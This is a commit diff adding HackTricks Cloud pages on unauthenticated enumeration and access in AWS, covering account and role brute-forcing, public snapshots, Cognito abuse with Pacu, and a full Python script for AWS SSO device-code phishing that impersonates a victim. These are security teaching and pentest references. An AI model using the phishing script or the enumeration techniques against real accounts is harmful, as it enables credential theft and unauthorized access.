Migrate to using mdbook

This commit is contained in:
Congon4tor
2024-12-31 17:04:35 +01:00
parent b9a9fed802
commit cd27cf5a2e
1373 changed files with 26143 additions and 34152 deletions

View File

@@ -0,0 +1,54 @@
# AWS - Unauthenticated Enum & Access
{{#include ../../../banners/hacktricks-training.md}}
## AWS Credentials Leaks
A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\
Some useful **tools**:
- [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
- [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos)
- [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks)
## AWS Unauthenticated Enum & Access
There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how:
- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md)
- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md)
- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md)
- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md)
- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md)
- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md)
- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md)
- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md)
- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md)
- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md)
- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md)
- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md)
- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md)
- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md)
- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md)
- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md)
## Cross Account Attacks
In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed.
During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**:
![](<../../../images/image (260).png>)
Other services found vulnerable:
- AWS Config
- Serverless repository
## Tools
- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,45 @@
# AWS - Accounts Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## Account IDs
If you have a target there are ways to try to identify account IDs of accounts related to the target.
### Brute-Force
You create a list of potential account IDs and aliases and check them
```bash
# Check if an account ID exists
curl -v https://<acount_id>.signin.aws.amazon.com
## If response is 404 it doesn't, if 200, it exists
## It also works from account aliases
curl -v https://vodafone-uk2.signin.aws.amazon.com
```
You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
### OSINT
Look for urls that contains `<alias>.signin.aws.amazon.com` with an **alias related to the organization**.
### Marketplace
If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used.
### Snapshots
- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
- Public AMIs (EC2 -> AMIs -> Public images)
### Errors
Many AWS error messages (even access denied) will give that information.
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,56 @@
# AWS - API Gateway Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
### API Invoke bypass
According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Permission",
"Action": ["execute-api:Execution-operation"],
"Resource": [
"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
]
}
]
}
```
The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
Some examples:
- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example.
> [!WARNING]
> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\
> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example.
You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted.
For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
### IAM Policy Injection
In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**.
### Public URL template
```
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
```
### Get Account ID from public API Gateway URL
Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,11 @@
# AWS - Cloudfront Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
```
https://{random_id}.cloudfront.net
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,35 @@
# AWS - CodeBuild Unauthenticated Access
{{#include ../../../banners/hacktricks-training.md}}
## CodeBuild
For more info check this page:
{{#ref}}
../aws-services/aws-codebuild-enum.md
{{#endref}}
### buildspec.yml
If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**.
Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example.
For some related information you could check the page about how to attack Github Actions (similar to this):
{{#ref}}
../../../pentesting-ci-cd/github-security/abusing-github-actions/
{{#endref}}
## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
```bash
runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
```
This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,48 @@
# AWS - Cognito Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## Unauthenticated Cognito
Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**.
For basic info about Cognito check:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
### Identity Pool ID
Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\
Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges.
[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
### User Pool ID
By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
### Pacu modules for pentesting and enumeration
[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
#### Usage
Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:
```bash
Pacu (new:test) > run cognito__enum
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,11 @@
# AWS - DocumentDB Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
```
<name>.cluster-<random>.<region>.docdb.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,15 @@
# AWS - DynamoDB Unauthenticated Access
{{#include ../../../banners/hacktricks-training.md}}
## Dynamo DB
For more information check:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,60 @@
# AWS - EC2 Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## EC2 & Related Services
Check in this page more information about this:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Public Ports
It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it.
#### SSRF
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
{{#endref}}
### Public AMIs & EBS Snapshots
AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account:
```bash
# Public AMIs
aws ec2 describe-images --executable-users all
## Search AMI by ownerID
aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
## Search AMI by substr ("shared" in the example)
aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
# Public EBS snapshots (hard-drive copies)
aws ec2 describe-snapshots --restorable-by-user-ids all
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
```
If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot.
#### Public URL template
```bash
# EC2
ec2-{ip-seperated}.compute-1.amazonaws.com
# ELB
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
```
### Enumerate EC2 instances with public IP
```bash
aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,34 @@
# AWS - ECR Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## ECR
For more information check:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
### Public registry repositories (images)
As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws/<random>/<name>`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image.
```bash
aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
```
> [!WARNING]
> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo.
### Enumerate Private Repo
The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry.
```bash
# Get image names
skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,25 @@
# AWS - ECS Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## ECS
For more information check:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### Publicly Accessible Security Group or Load Balancer for ECS Services
A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks.
```bash
# Example of detecting misconfigured security group for ECS services
aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
# Example of detecting a publicly accessible load balancer for ECS services
aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,37 @@
# AWS - Elastic Beanstalk Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
For more information check:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Web vulnerability
Note that by default Beanstalk environments have the **Metadatav1 disabled**.
The format of the Beanstalk web pages is **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
### Insecure Security Group Rules
Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**.
### Publicly Accessible Load Balancer
If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments.
### Publicly Accessible S3 Buckets
Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**.
### Enumerate Public Environments
```bash
aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,12 @@
# AWS - Elasticsearch Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
```
https://vpc-{user_provided}-[random].[region].es.amazonaws.com
https://search-{user_provided}-[random].[region].es.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,176 @@
# AWS - IAM & STS Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## Enumerate Roles & Usernames in an account
### ~~Assume Role Brute-Force~~
> [!CAUTION]
> **This technique doesn't work** anymore as if the role exists or not you always get this error:
>
> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
>
> You can **test this running**:
>
> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return:
```ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
```
This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**:
```less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
```
Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations.
You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.
### Trust Policies: Brute-Force Cross Account roles and users
Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.
> [!WARNING]
> Note that in that resource you could specify a cross account role or user:
>
> - `arn:aws:iam::acc_id:role/role_name`
> - `arn:aws:iam::acc_id:user/user_name`
This is a policy example:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}
```
#### GUI
That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating)
![](<../../../images/image (153).png>)
#### CLI
```bash
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}
# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
```
You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)
- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu):
- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration
### Privesc
In the case the role was bad configured an allows anyone to assume it:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
```
The attacker could just assume it.
## Third Party OIDC Federation
Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\
This trust might give access to a role with the following **trust policy**:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\
This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach...
Another potential misconfiguration is to **add a condition** like the following:
```json
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
```
Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action.
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,131 @@
# AWS - Identity Center & SSO Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## AWS Device Code Phishing
Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**.
In order to perform this attack the requisites are:
- The victim needs to use **Identity Center**
- The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`
Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account.
### Attack
1. **Finding the subdomain**
The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here.
With this info, it's possible to get the region where the Indentity Center was configured with:
```bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
```
2. **Generate the link for the victim & Send it**
Run the following code to generate an AWS SSO login link so the victim can authenticate.\
For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token:
```python
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
```
Send the generated link to the victim using you awesome social engineering skills!
3. **Wait until the victim accepts it**
If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\
This is how the promp looks nowadays:
<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
4. **Get SSO access token**
If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**:
```python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
```
The SSO access token is **valid for 8h**.
5. **Impersonate the user**
```python
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
```
### Phishing the unphisable MFA
It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user.
For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html).
### Automatic Tools
- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
## References
- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,13 @@
# AWS - IoT Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
```
mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,11 @@
# AWS - Kinesis Video Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
```
https://{random_id}.kinesisvideo.{region}.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,22 @@
# AWS - Lambda Unauthenticated Access
{{#include ../../../banners/hacktricks-training.md}}
## Public Function URL
It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities.
### Public URL template
```
https://{random_id}.lambda-url.{region}.on.aws/
```
### Get Account ID from public Lambda URL
Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,13 @@
# AWS - Media Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
```
https://{random_id}.mediaconvert.{region}.amazonaws.com
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
https://{random_id}.data.mediastore.{region}.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,22 @@
# AWS - MQ Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## Public Port
### **RabbitMQ**
In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
### ActiveMQ
In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access.
### Public URL template
```
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,18 @@
# AWS - MSK Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
### Public Port
It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured).
It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet.
### Public URL template
```
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,44 @@
# AWS - RDS Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## RDS
For more information check:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
## Public Port
It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database.
## Public RDS Snapshots
AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account:
```bash
# Public RDS snapshots
aws rds describe-db-snapshots --include-public
## Search by account ID
aws rds describe-db-snapshots --include-public --query 'DBSnapshots[?contains(DBSnapshotIdentifier, `284546856933:`) == `true`]'
## To share a RDS snapshot with everybody the RDS DB cannot be encrypted (so the snapshot won't be encryted)
## To share a RDS encrypted snapshot you need to share the KMS key also with the account
# From the own account you can check if there is any public snapshot with:
